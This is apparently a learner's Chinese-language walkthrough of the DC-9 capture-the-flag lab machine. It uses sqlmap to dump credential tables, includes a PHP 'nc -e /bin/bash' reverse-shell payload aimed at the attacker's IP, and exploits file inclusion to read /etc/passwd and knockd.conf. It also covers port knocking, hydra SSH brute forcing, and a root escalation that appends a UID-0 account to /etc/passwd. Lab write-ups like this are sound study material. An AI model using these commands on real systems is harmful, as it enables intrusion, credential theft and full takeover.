DC-9 滲透測試
沖沖沖,好好學習 DC系列的9個靶機做完了,對滲透流程基本掌握,但是實戰中出現的情況千千萬萬,需要用到的知識面太廣了,學不可以已。
靶機IP: 172.66.66.139
kali IP: 172.66.66.129
網絡模式 NAT
netdiscover

拿到靶機ip 172.66.66.139
nmap -sV -A -p- -oN /tmp/dc-9.nmap

22端口的狀態時 filtered (被過濾的,不能確定是否開放)。80開放。
#看到 SSH的22端口是filtered ,猜想是否裝了 knockd 工具隱藏了服務
/etc/knockd.conf
dirb http://172.66.66.139 沒有發現重要信息

訪問80端口,未能識別出CMS 名稱。
首頁是 exmple.com 全體員工信息,還有展示、搜索、登錄三個界面,研究一下網頁源代碼。
如RFC 2606和RFC 6761所述,為了文檔目的,保留多個域名,如example.com和example.org。這些域可以在文檔中用作說明性示例,而無需事先與我們協調。它們無法注冊或轉讓。



先嘗試注入,再賬號密碼爆破,因為有用的信息太少了。bp抓包開起來。



搜索框注入無果.....
我嘞個去...瞎了瞎了 ,搜索框所在的頁面是
/search.php,抓包看了下,沒注意請求頭 的是 /results.php
仔細看,
sqlmap -u http://172.66.66.139/results.php --data 'search=mary' --dbs

sqlmap -u http://172.66.66.139/results.php --data 'search=mary' -D users --tables

sqlmap -u http://172.66.66.139/results.php --data 'search=mary' -D users -T UserDetails --columns

sqlmap -u http://172.66.66.139/results.php --data 'search=mary' -D users -T UserDetails -C username,password --dump

仿佛都是普通用戶,隨便一個試試 marym | 3kfs86sfd 登不進去...換一個數據庫看看。


sqlmap -u http://172.66.66.139/results.php --data 'search=mary' -D Staff -T Users -C Username,Password --dump

爆出來,admin: transorbital1



發現沒有過濾? 寫個反彈shell <?php system("nc -e /bin/bash 172.66.66.129 8888");?>

字段有長度限制...查看源代碼發現不是 前端限制,那應該是后端的長度限制,這時候考慮拼接傳入shell
行吧,暫時考慮不出來,我太菜了。
看到網頁底部腳標的footer標簽 <footer>File does not exist</footer>
難道是有文件包含嗎?
,整一下試試。盲猜一下是 ?file= ,再試路徑
試出來url :?file=../../../../etc/passwd 。當包含不出來的時候,別着急,多試試,多寫幾個點點杠進去

服務器是Apache,試着包含一下配置文件,尷尬,找不到phpinfo.php位置,也找不到Apache配置文件的位置...
在/etc/passwd 中,發現了一些賬號是在前面的sqlmap中爆破出來的,他應該是ssh登錄的賬號,但是ssh好像是關閉的,不對呀,有情況。
因為ssh的22端口狀態是filtered 的,猜想是被服務器裝了 knockd 工具隱藏了。查找 knockd的配置文件 /etc/knockd.conf 。 ?file=../../../../etc/knockd.conf

這樣看着有點亂,拿出來看調整一下格式,加入自己的理解,如下:
[options]
UseSyslog
[openSSH]
sequence = 7469,8475,9842 # 打開ssh 22訪問的三個操作端口 ;
seq_timeout = 25
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT # //-i 命令是將規則插入到最前面,最先生效,以防止過濾所有端口的情況將此條規則吃掉
tcpflags = syn
[closeSSH]
sequence = 9842,8475,7469 # 關閉ssh 22訪問的三個操作端口
seq_timeout = 25
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT # //SSH使用完后,再將22端口“保護”起來
tcpflags = syn
解釋:
Options:你可以在此字段中找到knockd的配置選項。正如你在上面屏幕截圖中所看到,它使用syslog進行日志記錄。
OpenSSH:該字段包括序列、序列超時、命令和tcp標志。
Sequence:它顯示可由客戶軟件用作啟動操作的模式的端口序列(打開ssh 或者關閉ssh,,關閉操作的端口序列跟 打開操作的序列相反。)。
Sequence timeout:它顯示分配給客戶端以完成所需的端口試探序列的總時間。
command:這是一旦客戶軟件的試探序列與序列字段中的模式,執行的命令。 TCP_FLAGS:這是必須針對客戶軟件發出的試探設置的標志。如果標志不正確,但試探模式正確,不會觸發動作。
依次訪問 打開操作的端口序列 7469、8475、9842 完成“敲門”操作,就可以用ssh登錄了
在kali中執行如下命令:
1) 使用7469/8475/9842隊列號敲門登錄:
nmap -p 7469 172.66.66.139
nmap -p 8475 172.66.66.139
nmap -p 9842 172.66.66.139
#因為有超時限制,加快命令的輸入速度也可以寫個python的 for in 循環來訪問,如下:
for x in 7469 8475 9842; do nmap -p $x 172.66.66.139; done

關閉的話也同理: 使用9842/8475/7469隊列號關門
for x in 9842 8475 7469; do nmap -p $x 192.168.1.38; done
ssh打開之后,賬號密碼登錄。在上面的sqlmap爆破中我們
| username | password |
+--------------+---------------+
| marym | 3kfs86sfd |
| julied | 468sfdfsd2 |
| fredf | 4sfd87sfd1 |
| barneyr | RocksOff |
| tomc | TC&TheBoyz |
| jerrym | B8m#48sd |
| wilmaf | Pebbles |
| bettyr | BamBam01 |
| chandlerb | UrAG0D! |
| joeyt | Passw0rd |
| rachelg | yN72#dsd |
| rossg | ILoveRachel |
| monicag | 3248dsds7s |
| phoebeb | smellycats |
| scoots | YR3BVxxxw87 |
| janitor | Ilovepeepee |
| janitor2 | Hawaii-Five-0
這么多個賬號,怎么知道哪個賬號是可以登錄的呢?當然可以逐一去試,還有別的辦法嗎?當然有,hydra
hydra -L /tmp/dc-9-user.txt -P dc-9-passwd.txt 172.66.66.139 ssh -t 30

[22][ssh] host: 172.66.66.139 login: chandlerb password: UrAG0D!
[22][ssh] host: 172.66.66.139 login: joeyt password: Passw0rd
[22][ssh] host: 172.66.66.139 login: janitor password: Ilovepeepee
仔細看每一個賬號里的文件,檢查。用 ls -alF看到

cat passwords-found-on-post-it-notes.txt
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
| bettyr | BamBam01 |
| joeyt | Passw0rd |
| phoebeb | smellycats |
在數據庫爆出的賬號中匹配到了三個,檢查完當前賬號后去看看這三個賬號。
joeyt是前面hydra出來能登錄的其中一個,上面的密碼中,也只有這個能登錄。

正經開始提權:收集有用信息
joeyt@dc-9:~/.gnupg$ uname -a
Linux dc-9 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64 GNU/Linux
# Debian 4.19.67
提權整了半天,沒進展,回過頭來看,剛剛拿到的密碼,難道沒有其他用處了嗎,要不要加進去 dc-9-passwd.txt 里再重新hydra爆一下呢? 要,很有必要,真是沒想到呀。

fredf : B4-Tru3-001 第一個賬號是新的,ssh登錄

仿佛有希望。到該目錄下研究研究test。
fredf@dc-9:/opt/devstuff/dist$ ls
test
fredf@dc-9:/opt/devstuff/dist$ cd test

linux里 .so 后綴文件是啥東東?
一般來說, .so 是基於linux下的動態鏈接,其功能相和作用相當於windows.dll文件。
linux 中的.so和.a文件 - 心田居士 - 博客園 (cnblogs.com) 看這里。
/opt/devstuff/dist/test/test 這一層好像沒什么好看的,
SPEC文件擴展名可以是指由被叫的rpmbuild程序中使用的文本文件。這個程序是用來建立RPM包。 RPM代表Red Hat軟件包管理。這些軟件包用於安裝Linux程序。該文件包含包名稱,版權信息,版本,引用程序文件,總結,並說明創建和安裝軟件包。


#在這一級看到了 test.py
-----------------------------------------------------------
fredf@dc-9:/opt/devstuff$ cat test.py
#!/usr/bin/python
import sys #包含sys后 才能用sys.argv
if len (sys.argv) != 3 : #sys.argv[1] 是文件本身
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r") # r 以只讀方式打開文件。文件的指針都放在文件開頭。這是默認模式。
output = (f.read())
f = open(sys.argv[2], "a") # a 打開一個文件用於追加。如果文件已存在,則文件的指針在文件結尾,若文件不存在,則創建新文件並寫入。
f.write(output) #寫入內容
f.close() # 關閉
------------------------------------------------------------
#只能往里面傳2個參數,2個參數應該都是文件名,把第一個文件的內容以追加方式寫進第二個文件里。
先來學習:sys.argv[ ],是一個從外部程序獲得參數的橋梁,獲取的參數可以是多個,所以它會是一個列表(list),也就是說,sys.argv其實是一個列表,用[ ] 提取其中的元素,第一個元素 sys.argv[0] 是程序本身,后面才是一次輸入的外部參數。
#test.py
inport sys
a=sys.agrv[0]
print(a) # 輸出 test.py,也就是說sys.agrv[0] 的值是文件本身
#########################
#改一下代碼
#test.py
inport sys
a=sys.agrv[1] #從sys.argv[1]開始才是傳入的參數
print(a)
# 測試傳參what輸進去:test.py what
# 輸出 就是 what
回到靶機,按照/etc/passwd的格式,寫一個root權限賬號出來,放在/tmp/a 里,再腳本追加寫入 /etc/passwd 里。
寫之前是不是得先生成一個加密后的密碼呢? linux里有個 openshell ,這是可以用來生成密碼的。那么,linux /etc/passwd 是用什么加密方式的呢?MD5
root@kali:~# openssl passwd -1
Password: #123456
Verifying - Password: #123456
$1$q9wyBxgg$qXauf8gLc.b7Y8z5xbIaf0
openssl passwd的作用是用來計算密碼hash的,目的是為了防止密碼以明文的形式出現。
語法格式: openssl passwd [option] passwd
openssl passwd常用的選項如下:
-1:表示采用的是MD5加密算法。
-salt:指定salt值(加鹽),不使用隨機產生的salt。在使用加密算法進行加密時,即使密碼一樣,salt不一樣,所計算出來的hash值也不一樣,除非密碼一樣,salt值也一樣,計算出來的hash值才一樣。salt為8字節的字符串。
示例:
[tom@localhost ~]$ openssl passwd -1 -salt '12345678' ##注意‘12345678’不是密碼而是密碼的長度
Password: ##這里輸入的是密碼
$1$12345678$1qWiC4czIc07B4J8bPjfC0 ##這是生成的密文密碼
##將生成的密碼串,手動添加到/etc/shadow中就可用作用戶的登陸密碼了。
先試試不加密碼的賬號,echo 'axb:$1$q9wyBxgg$qXauf8gLc.b7Y8z5xbIaf0:0:0:::/bin/bash'


怎么不行呢...阿裂開,雙引號用錯了,得用單引號......
passwd的格式: [⽤戶名]:[密碼]:[UID]:[GID]:[⾝份描述]:[主⽬錄]:[登錄shell]
axb:$1$q9wyBxgg$qXauf8gLc.b7Y8z5xbIaf0:0:0:::/bin/bash
再對比一下 passwd 文件里的 root 的是怎樣的
root:x:0:0:root:/root:/bin/bash
仿佛是命令用錯了,改一下 openssl 的命令,加點鹽,寫上用戶。
openssl passwd -1 -salt ccc 123456 ##構造ccc用戶密碼為123456的hash
ccc:$1$ccc$tK1vhSYd21dUn8Z0EC/Pl0:0:0:root:/root:/bin/bash


最后:
- 對文件包含敏感度不夠,看到 腳標 的
File does not exist,竟然沒有意識到 文件包含。- 歸納總結:/etc下有什么重要的文件,都累出來。(詳情出門右轉個人筆記),也可以爆破,也是能出來
- 看到有文件包含,就先用fuzz來跑一跑。
- hydra 賬號密碼爆破工具,支持多種協議。
- 以后用ls 命令,建議都用這個
ls -alF-a顯示隱藏文件, -l顯示文件詳細信息, -F顯示文件的類別(文件夾后有/,可執行文件前有*,文件等,看到你就知道了)su - root切換到root用戶,並改變環境變量。- DC系列的9個靶機做完了,對滲透流程基本掌握,但是實戰中出現的情況千千萬萬,需要用到的知識面太廣了,學不可以已啊。

